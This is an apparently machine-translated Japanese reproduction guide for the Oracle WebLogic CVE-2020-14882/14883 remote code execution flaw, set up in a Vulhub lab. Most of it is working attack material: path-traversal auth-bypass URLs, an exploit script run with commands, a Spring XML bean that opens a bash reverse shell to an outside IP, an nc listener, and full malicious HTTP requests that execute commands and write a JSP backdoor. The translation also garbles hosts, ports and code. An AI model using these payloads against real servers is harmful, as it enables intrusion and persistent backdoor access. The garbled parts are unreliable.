0x01脆弱性の説明
最近、Oracle Weblogic Serverリモートコード実行脆弱性(CVE-2020-14882)POCが公開されました。認可されていないリモート攻撃者は、特別なHTTP GETリクエストを構築することにより、影響を受けるWebLogicサーバーで任意のコードを実行するために脆弱性を使用する場合があります。それらはすべて、WebLogicのコンソールコンソールコンポーネントに存在します。このコンポーネントは、WebLogicのバージョン全体のデフォルトコンポーネントであり、HTTPプロトコルを介して脆弱性が悪用されます。 CVE-2020-14882とCVE-2020-14883を組み合わせた後、リモートおよび不正な攻撃者は、サーバー上の任意のコードを直接実行してシステム許可を取得できます。
0x02脆弱性の影響
Oracle Weblogic Server、バージョン10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0
0x03脆弱性の再発:
1。環境構成1。この脆弱性の複製は、Vulhub環境を使用します。 Weblocigのバージョンは12.2.1.3.0です。このバージョンには脆弱性があります
https://github.com/vulhub/vulhub/tree/173136b310693d50cac183c6218e64c861e2aaf5/weblogic/cve-2020-14882
2。脆弱性環境構成を再現します
git clone 3https://github.com/vulhub/vulhub.git
CD vulhub/
CD weblogic/
CURL -S https://9BOOTSTRAP.PYPA.IO/GET-PIP.PY | Python3
Service Docker Start
PIPインストールDocker-Compose
docker -compose up -d
http://45.77.248.227:7001/コンソールにアクセスして、ウェブロジック環境を展開します
2。バックグラウンドログインをバイパス1。許可の脆弱性をバイパスすると、主要なPOCは次のとおりです。
/console/images/%252e%252e%252fconsole.portal
/CONSOLE/CSS/%25%32%65%25%32%65%25%32%65%25%32%66Console.portal
資本を小文字に変更してパッチをバイパスします。
/console/css/%252e%252e%252fconsole.portal
2.Weblocig12バックグラウンドログインをバイパスします
http://45.77.248.22733607001/Console/Images/%252E%252E%252FConsole.portal
http://45.77.248.227:7001 //Console/CSS/%25%32%65%25%32%65%25%32%66Console.portal
http://45.77.248.227:7001/CONSOLE/CSS/%252E%252E%252FConsole.portal(小文字バイパス)
3。スクリプト化された利用スクリプトアドレス:https://github.com/backlion/cve-2020-14882_all
1。コマンドエコー
Python3 CVE-2020-14882_all.py -Uhttp://45.77.248.227:7001/-C 'WHOAI'
python3 CVE-2020-14882_all.py -U3http://45.77.248.22733607001/-C 'LS'
2。エコーコマンドなしで外部XMLファイルを実行します
Linuxリバウンドシェルの例として、poc.xmlファイルを編集します
Beans xmlns='http://www.springframework.org/schema/beans' xmlns:xsi='http://www.w3.org/2001/xmlschema-instance' xsi:smemalococeocolaocolation='333338ww.spridffrma http://www.springframework.org/schema/beans/spring-beans.xsd '
bean id='pb' class='java.lang.processbuilder' init-method='start'
コンストラクター-ARG
リスト
値/bin/bash/value
Value-C/値
値![cdata [bash -i /dev/tcp/45.77.248.227/2233 01]]/value
/リスト
/Constructor-ARG
/豆
/豆
注:上記のアドレスはサーバーIPアドレスです
poc.xmlをサーバーにアップロードし、python3でHTTPサーバーWebを有効にします
スクリプトを介してコマンドを実行します
Python3 CVE -2020-14882_all.py -U http://45.77.248.227:7001/-X http://45.77.248.2273:8000/POC.XML
NCを使用して、サーバー上のポートを聴きます
NC -LLVP 2233
4.手動の提出および利用方法1。次のPOCを送信することにより、コマンドをリモートで実行できます。ここでは、上記の背景をバイパスしてから、Burpsuitを介してパケットをつかみ、次のPOCに変更するのが最善です。
get /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangol.coherence.mvel2.sh.shellsession('weblogic.work.executethread=curentthread=(weblogic.work.work.work.curnededed) weblogic.work.workadapter adapter=currentthread.getCurrentWork(); (weblogic.servlet.internal.servletrequestimpl)obj.getclass() string [] {'cmd.exe'、 '/c'、cmd} : new String [] {'/bin/sh'、 '-c'、cmd}; java.lang.processbuilder(cmds).start()。getInputStream()) (weblogic.servlet.internal.servletresponseimpl)req.getclass()。getMethod( 'getResponse')。 currentthread.interput(); ')http/1.1
HOST: 45.77.248.227:7001
user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/86.0.4240.183 safari/537.36
Accept: */*
参照: http://45.77.248.227:7001 //Console/Images/%252e%252e%252fconsole.portal?_nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession(%22java.lang.runtime.getruntime()。exec(%27calc.exe%27);%22);
Accept-Encoding: gzip、deflate
CMD:WHOAMI PWD
Accept-Language: ZH-CN、ZH; Q=0.9
cookie: adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-ggq!1524101341
Connection:閉じます
2。現在のページへのパスは次のとおりです。
/u01/oracle/user_projects/domains/base_domain
3。その後、このディレクトリにバックドアファイルを書き込むことができます。
/u01/oracle/wlserver/server/lib/consoleApp/webApp/画像
4。次のPOCを送信してバックドアに書き込みます
get /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangol.coherence.mvel2.sh.shellsession('weblogic.work.executethread=curentthread=(weblogic.work.work.work.curnededed) weblogic.work.workadapter adapter=currentthread.getCurrentWork(); (weblogic.servlet.internal.servletrequestimpl)obj.getclass() string [] {'cmd.exe'、 '/c'、cmd} : new String [] {'/bin/sh'、 '-c'、cmd}; java.lang.processbuilder(cmds).start()。getInputStream()) (weblogic.servlet.internal.servletresponseimpl)req.getclass()。getMethod( 'getResponse')。 currentthread.interput(); ')http/1.1
HOST: 45.77.248.227:7001
user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/86.0.4240.183 safari/537.36
Accept: */*
参照: http://45.77.248.227:7001 //Console/Images/%252e%252e%252fconsole.portal?_nfpb=false_pagelabel=handle=c om.tangosol.coherence.mvel2.sh.shellsession(%22java.lang.runtime.getruntime()。exec(%27calc.exe%27);%22);
Accept-Encoding: gzip、deflate
cmd:whoami pwd echo 'これはテストです!」 /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/test.jsp
Accept-Language: ZH-CN、ZH; Q=0.9
cookie: adminconsolesession=8guolm33tvnpruomy4v8yi8c9bd-glfq8jorw2nth-gjyhz-ggq!1524101341
Connection:閉じます
5.バックドアファイルはWeblogic Virtual Directoryに記述されていることがわかります
6.次のアドレスにアクセスして、バックドアを取得します
http://45.77.248.227:7001/Console/Images/test.jsp
5。手動使用方法2。1。リバウンドシェルを実行するためにLinuxの下のXMLファイルへのリモートアクセス
まず、XMLファイルを構築し、http://45.77.248.227:8000/poc.xmlなど、Weblogicがアクセスできるサーバーに保存する必要があります。
?xmlバージョン='1.0'